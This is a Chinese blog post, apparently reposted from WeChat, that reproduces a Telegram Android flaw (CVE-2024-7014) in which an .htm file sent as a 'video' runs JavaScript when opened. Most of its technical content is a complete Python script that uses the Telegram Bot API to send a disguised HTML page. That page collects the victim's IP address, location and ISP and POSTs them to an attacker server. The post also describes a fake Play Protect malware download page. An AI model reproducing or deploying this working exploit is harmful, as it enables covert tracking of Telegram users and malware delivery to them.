在本文中,我们将研究一个与 CVE-2024-7014 安全漏洞工作原理相似的攻击场景。在发送的消息中,一个 ".htm" 文件伪装成"视频文件"通过 Telegram API 传输,当用户期待看到视频时,实际上是执行了 HTML 中的 JavaScript 代码。
技术细节
Evilloader 是一个允许攻击者在目标系统上下载和运行额外恶意负载的加载器。CVE-2024-7014 描述了该模块中反分析机制的更新。在这个攻击场景中,一个伪造的视频首先引导受害者打开恶意软件(伪造的 Play Protect)下载页面,然后发送了一个 IP 记录器。
漏洞详情
漏洞的主要原因是 Telegram 服务器响应中的 ".htm" 文件格式被视为视频。".htm" 代码片段在浏览器中的 "content://" 下打开。即:content://org.telegram.messenger.provider/media/Android/data/org.telegram.messenger/files/Telegram/Telegram%20Video/4_5924894289476721732.htm
URI 路径通过内容打开浏览器,从而触发并打开所需的 HTML 页面。
场景(IP 记录器)
当受害者无法在视频播放器中打开此文件(因为找不到视频格式)时,可能会重定向到默认浏览器,或者如果被识别为"HTML 文件",则可以双击在浏览器中打开。这样就可以运行恶意 JavaScript。
从 Telegram 下载文件并以为是视频的受害者,实际上是让浏览器运行 HTML 内容,导致 IP 信息被发送到攻击者的服务器。
tg.py
import requestsBOT_TOKEN = "your_bot_token"CHAT_ID = "your_chat_id"html_content = """<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script> fetch('http://ip-api.com/json') .then(response => response.json()) .then(data => { fetch('http://192.168.137.1:5000/log_ip', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ ip: data.query, country: data.country, region: data.regionName, city: data.city, isp: data.isp }) }); }) .catch(error => console.error('Error fetching IP:', error)); </script></head><body></body></html>"""html_path = "testv.mp4"with open(html_path, "w") as file: file.write(html_content)files = {"video": ("a.htm", open(html_path, "rb"),"video/mp4" )}url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendVideo"data = {"chat_id": CHAT_ID, "supports_streaming": False}response = requests.post(url, data=data, files=files)if response.status_code == 200: print("message send")else: print(f"error: {response.text}")
在这段代码中,.htm 文件被伪装成"视频"并通过 Telegram API 发送。在 Android 设备上,当用户尝试打开此文件时,实际上运行的是包含 JavaScript 的 HTML 页面。
以下视频展示了"恶意软件和 IP 记录器"场景的实施方法:
算了算了,这种视频总是会被判违规,自己脑补吧。
原文始发于微信公众号(独眼情报):重现Android 设备中 .htm 扩展名文件的操纵
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论